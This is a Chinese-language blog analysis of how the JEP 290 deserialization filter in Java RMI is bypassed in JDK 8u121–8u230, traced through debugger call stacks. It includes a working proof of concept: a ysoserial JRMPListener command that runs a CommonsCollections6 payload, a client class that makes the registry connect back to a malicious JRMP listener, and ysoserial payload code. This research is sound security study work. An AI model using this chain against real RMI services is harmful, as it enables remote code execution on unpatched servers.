w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JEP290繞過

前言#

上文已分析過 rmi 反序列化的幾種攻擊方法,這篇文章就學習了一下 JEP290 機制的檢測和繞過思路,整個流程是比較清楚的了,就是讓 registry 當作 client 端向惡意 jrmp 服務端發起 rmi 請求,此時環境的 filter 為空。

JEP290 是什麼#

實驗版本 jdk1.8.0_192

高版本 jdk 引入了 JEP 290 策略,並在 Client 與 Registry 的通信過程中默認設置了 registryFilter,使得只有在白名單裡面的類才能夠被反序列化。

簡單說就是一個防禦反序列化攻擊​的黑白名單過濾器​。

  1. 提供一個限制反序列化類的機制,白名單或者黑名單。
  2. 限制反序列化的深度和複雜度。
  3. 為 RMI 遠程調用對象提供了一個驗證類的機制。
  4. 定義一個可配置的過濾機制,比如可以通過配置 properties 文件的形式來定義過濾器。

官方文檔:https://openjdk.java.net/jeps/290

JEP290 支持的版本:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

設置 JEP290 的方式有下面兩種:

  1. 透過 setObjectInputFilter 來設置 filter。
  2. 直接透過 conf/security/java.properties 文件進行配置。

JEP290 流程分析#

image

按照 zjj 的說法,其實就是把 client 與 registry 的通信劃分為兩段,第一段是 client 與 registry 正常的通信,第二段就是 registry 作為客戶端向惡意的 JRMP 服務端發起 RMI 請求,在第二段通信中,是沒有進行 JEP290 check 的。

image

上圖中,其實是處理請求的代碼,但是在第二個斷點處存在 lookup 連接,所以如果可以控制一些參數的話,就可以把第二個斷點當作入口,在裡面進行新的 rmi 通信。

JEP290 check 點#

image

首先服務端還是在RegistryImpl_Skel#dispatch​處理遠程調用,case 0 對應 bind 操作,var82 對應綁定對象的名稱,var87 對應要導出的遠程對象,再此對傳入的遠程調用流進行反序列化。

image

然後再依次步進:

image

image

image

readClassDesc​方法會根據反序列化的類不同進入不同的 case 中,這裡注意代理類,

image

就會進入filterCheck​。

image

當第一次分析的時候,就可以從 logging 這裡下斷點,因為這個信息我們能從報錯中得到,然後根據調用棧再來分析整個 check 流程,調用棧如下:

filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

image

filterCheck​的status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));​部分就會調用 check 方法:RegistryImpl#registryFilter​。

image

這裡對反序列化的類進行了白名單限制:

String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID

只要反序列化的類不是白名單中的類,就會返回 REJECTED 操作符,表示序列化流中有不合法的內容,直接拋出異常。

Server 端執行 bind 方法的參數必須是一個實現了 Remote 接口的對象,但是普通的 CC 鏈最後生成的惡意對象是不滿足這個條件的,這時候就需要動態代理來代理 Remote 接口,實際上最後綁定的是動態代理生成的代理對象:

InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);

在反序列化的時候,除了對代理對象本身反序列化,也要對其內部字段進行反序列化,類似於一個遞歸的過程,我們的代理對象本身(它自身實現了被代理的接口,這裡是 Remote 接口)是會觸發 check 的,真正觸發 check 的其實是內部的 InvocationHandlerImpl。

然後可以看上面的調用棧,其實是調用了兩次 readObject0 方法的,第一次就是對代理對象本身的反序列化,第二次是對其內部字段進行反序列化。

readSerialData​方法會讀取對象內部的字段,然後循環進入 readObject0 方法處理:

image

最終會因為InvocationHandlerImpl​觸發 filter 的 check:

image

image

filter 創建過程#

在觸發 check 的時候,filter 是一個 Lambda 表達式。

image

其會進入RegistryImpl#registryFilter​,整個調用棧如下:

registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

現在的問題是為什麼會進入RegistryImpl#registryFilter​,先看RegistryImpl​的構造函數。

image

雖然有多個重載的構造方法,核心都是傳入了一個 Lambda 表達式作為 filter。

RegistryImpl::registryFilter​即info → RegistryImpl.registryFilter(info)​,因為它和 ObjectInputFilter​ 接口的抽象方法簽名一致,所以可以直接通過方法引用來簡寫:

image

image

同時在第二種構造函數中,Lambda 表達式以 ObjectInputFilter 接口的形式傳入了 UnicastServerRef2 的構造方法中。

image

image

image

最後賦值給了該類的 filter 成員變量。

同時需要注意到在 Registry 的創建過程中 filter 最終只是作為 UnicastServerRef 的一個成員變量而存在,直到 Registry 在處理請求的時候,在 oldDispatch 方法中才把 filter 賦值給了 ObjectInputStream 的成員變量 serialFilter。

調用棧:

setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

Bypass 8u121~8u230#

UnicastRef 類#

在代碼層面來說,我們在執行 bind、lookup 等方法的時候都會先獲取到一個 Registry,比如:

Registry registry = LocateRegistry.getRegistry(1099);

跟進LocateRegistry#getRegistry​方法:

image

image

這裡的 TCPEndpoint 封裝了 Registry 的 host、端口等信息,然後用 UnicastRef 封裝了 liveRef。最終獲取到的是一個 RegistryImpl_Stub 對象。

image

然後用這個 Stub 對象(客戶端)去連接 Registry,這裡以 bind 方法為例。

從這個過程來看,通過 UnicastRef 的 newCall 方法發起連接,然後把要查找的對象發送到 Registry。

所以如果我們可以控制 UnicastRef 中 LiveRef 所封裝的 host、端口等信息,我們就可以發起一個任意的 JRMP 連接請求,這其實就是 ysoserial 中的 payloads.JRMPClient 的原理。

RemoteObject 類#

RemoteObject 是一個抽象類,在後面的 Bypass 思路構造中它會扮演一個很重要的角色。它實現了 Remote 和 Serializable 接口,代表它(及其子類)可以通過白名單的檢測,而 Bypass 利用的關鍵點就是它的 readObject 方法:

image

測試代碼#

這裡攻擊的是register​,依次執行下面命令和 java 文件:

/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"

RMIRegistry

package bypass_jep290;

import java.rmi.registry.LocateRegistry;

public class RMIRegistry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("RMI Registry Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

DefineClient

package bypass_jep290;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class DefineClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 3333);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        // lookup方法也可以,但需要手動模擬lookup方法的流程
        registry.bind("pwn", handler);
    }
}

處理請求時反序列化遠程調用對象 (有 check)#

image

首先是 client 對 registry 發起了一個 bind 請求,進入到RegistryImpl_Skel#dispatch​的處理邏輯中,在readObject​處反序列化 client 傳給 registry 的遠程調用對象,在這其中存在 JEP290 的 check 點,調用棧如下:

filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

image

因為我們反序列化的對象是RemoteObjectInvocationHandler​,所以繞過了 check,然後進入RemoteObject​的readObject​方法。

image

在這個方法中會讀出序列化流中的 host 和端口信息(就是惡意 JRMP 服務的 host 與端口)然後重新封裝成一個 LiveRef 對象,將其存儲到當前的 ConnectionInputStream 上,調用 saveRef 方法:

image

建立了一個 TCPEndpoint 到 ArrayList的映射關係。

調用棧如下:

readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

根據調用棧可以看見,在readOrdinaryObject​會先進入readClassDesc​進行 check,再進入readSerialData​反序列化對象。

releaseInputStream 作為入口進行新的 rmi 通信 (無 check)#

再處理完上述請求之後,releaseInputStream​會釋放與RemoteCall​關聯的輸入流,但是這裡會進行 lookup 查找操作。

image

這裡的 in 就是上面說到的包裝了 LiveRef 對象 ConnectionInputStream 對象,繼續跟進:

image

在這裡就會根據之前存儲的映射關係,讀出序列化流中的 host 和端口信息(就是惡意 JRMP 服務的 host 與端口),提取值然後傳入DGCClient#registerRefs​方法中:

image

image

這裡 lookup 其實沒幹什麼,只是封裝了下我們的 var0。

後續在executeCall()​中this.getInputStream();​建立新的通訊​,然後將接收序列化數據執行反序列化​。

image

image

調用棧如下:

executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

TCPEndpoint(JRMP 段地址)的賦值#

要編寫 poc,就要查看 TCPEndpoint 是如何賦值的,上面已經分析過,是從 RemoteObject 的 readObject 方法開始的,這裡再看下需要注意的細節。

image

這裡會從序列化數據​提取出ip​和port​,生成一個TCPEndpoint​賦給var2​,然後封裝成一個LiveRef​傳到var6.saveRef()​裡。

image

saveRef()​裡最後存在到incomingRefTable​這個table​裡面,可以回頭看利用分析​,就是從這個變量​取的對象​。

現在我們看能否給這個變量賦值,重點代碼如下:

TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);

第二段通信關於 check 的細節#

第一段通信是 server 向 registry 進行 bind 的,向Register端​進行數據傳輸。

image

上文已經說了,在 Registry 的創建過程中 filter 最終只是作為 UnicastServerRef 的一個成員變量而存在,直到 Registry 在處理請求的時候,在 oldDispatch 方法中才把 filter 賦值給了 ObjectInputStream 的成員變量 serialFilter,所以現在的 serialFilter 為 null。

image

同時注意到這裡的ConnectionInputStream@953​編號。

然後再在在UnicastServerRef#unmarshalCustomCallData()​中給this.serialFilter​設置了值。

image

注意這裡編號ConnectionInputStream@953​。

然後進入第二段的 jrmp 通信。

在建立完上面說到的新的通訊​後,也會到ObjectInputStream​設置serialFilter​,但是由於沒有進入UnicastServerRef#oldDispatch​方法,所以這裡的serialFilter​為 null。

image

image

編號為ConnectionInputStream@1121​,然後到StreamRemoteCall#executeCall​方法,反序列化 jrmp 返回的惡意對象。

image

這裡也是沒有設置serialFilter​的。

小結#

這裡我想表達什麼呢,就是分清楚,這種方法為什麼可以繞過JEP290​,第一段通信registry​是和Server端​,第二段是和JMRP端​。這裡ConnectionInputStream​其實就代表著ObjectInputStream​,而第一段通信中設置的serialFilter​只作用於第一段通信中,即只作用於Register和Server之間的readObject中​!!(JEP290作用域​)

同時 Bypass JEP290 的思路如下:

  1. 用 ysoserial 開啟一個惡意的 JRMPListener。
  2. 控制 RemoteObject 中的 UnicastRef 對象,這個對象封裝了惡意 Server 的 host、端口等信息。
  3. Client / Server 向 Registry 發送這個 RemoteObject 對象,Registry 觸發 readObject 方法之後會向惡意的 JRMP Server 發起連接請求。
  4. 後續觸發 JRMPListener。

Registry 觸發反序列化的利用鏈:

客戶端發送數據 –> UnicastServerRef#dispatch –> UnicastServerRef#oldDispatch –> RegistryImpl_Skle#dispatch (處理請求)
> RemoteObject#readObject (第一次通信,進入RemoteObject#readObject, 為了經過反序列化可以設置內部的 UnicastRef 對象發起 JRMP 請求連接惡意的 Server)
StreamRemoteCall#releaseInputStream (釋放資源處,第二次通信入口)
> ConnectionInputStream#registerRefs –> DGCClient#registerRefs –> DGCClient$EndpointEntry#registerRefs 
> DGCClient$EndpointEntry#makeDirtyCall –> DGCImpl_Stub#dirty –> UnicastRef#invoke –> (RemoteCall var1) StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”

yso 的代碼#

/**
 * Gadget chain:
 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
 * UnicastRemoteObject.reexport() line: 266
 * UnicastRemoteObject.exportObject(Remote, int) line: 320
 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
 * LiveRef.exportObject(Target) line: 147
 * TCPEndpoint.exportObject(Target) line: 411
 * TCPTransport.exportObject(Target) line: 249
 * TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(JRMPListener.class, args);
    }
}
待補充 poc 編寫思路、看看 ysoserial 的二開#

修復#

dirty()​方法中建立通訊​後,給this.filter​設置了一個JEP290​(表達式)。

原始

image

image

修復後

image

然後在this.in​的serialFilter​中設置上這個filter​。

image

dirty()​方法中建立通訊​後,給this.filter​設置了一個JEP290​(表達式)。

image

然後被檢測出來。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。